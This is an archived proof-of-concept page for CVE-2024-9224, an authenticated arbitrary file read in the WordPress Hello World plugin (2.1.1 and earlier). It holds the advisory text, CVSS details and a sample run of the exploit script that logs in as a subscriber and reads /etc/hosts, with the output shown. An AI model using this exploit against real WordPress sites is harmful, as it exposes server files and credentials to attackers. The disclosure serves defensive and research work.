Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-9224 PoC — WordPress plugin Hello World 路径遍历漏洞

Source
Associated Vulnerability
Title:WordPress plugin Hello World 路径遍历漏洞 (CVE-2024-9224)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Hello World 2.1.1 版本及之前版本存在路径遍历漏洞,该漏洞源于包含一个任意文件读取问题。
Description
Hello World <= 2.1.1 - Authenticated (Subscriber+) Arbitrary File Read
Readme
# CVE-2024-9224
Hello World &lt;= 2.1.1 - Authenticated (Subscriber+) Arbitrary File Read

# Description
The Hello World plugin for WordPress is vulnerable to Arbitrary File Reading in all versions up to, and including, 2.1.1 via the hello_world_lyric() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.


# Info

```
Published: 2024-09-30 00:00:00
CVE: CVE-2024-9224
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS Score: 6.5
Slugs: hello-world
```

# Notes
It only displays a small part of the text file.

# POC

```
python3 CVE-2024-9224.py -un user -p user --url http://kubernetes.docker.internal -f /etc/hosts
Vulnerability check: http://kubernetes.docker.internal
Logged in successfully.
Nonce value: 0dbe58cb8d
Extracted text: 127.0.0.1	localhost
```
File Snapshot

[4.0K] /data/pocs/17b040a2d850be1233bf7088265f68f782248b6e ├── [4.0K] CVE-2024-9224.py └── [ 914] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.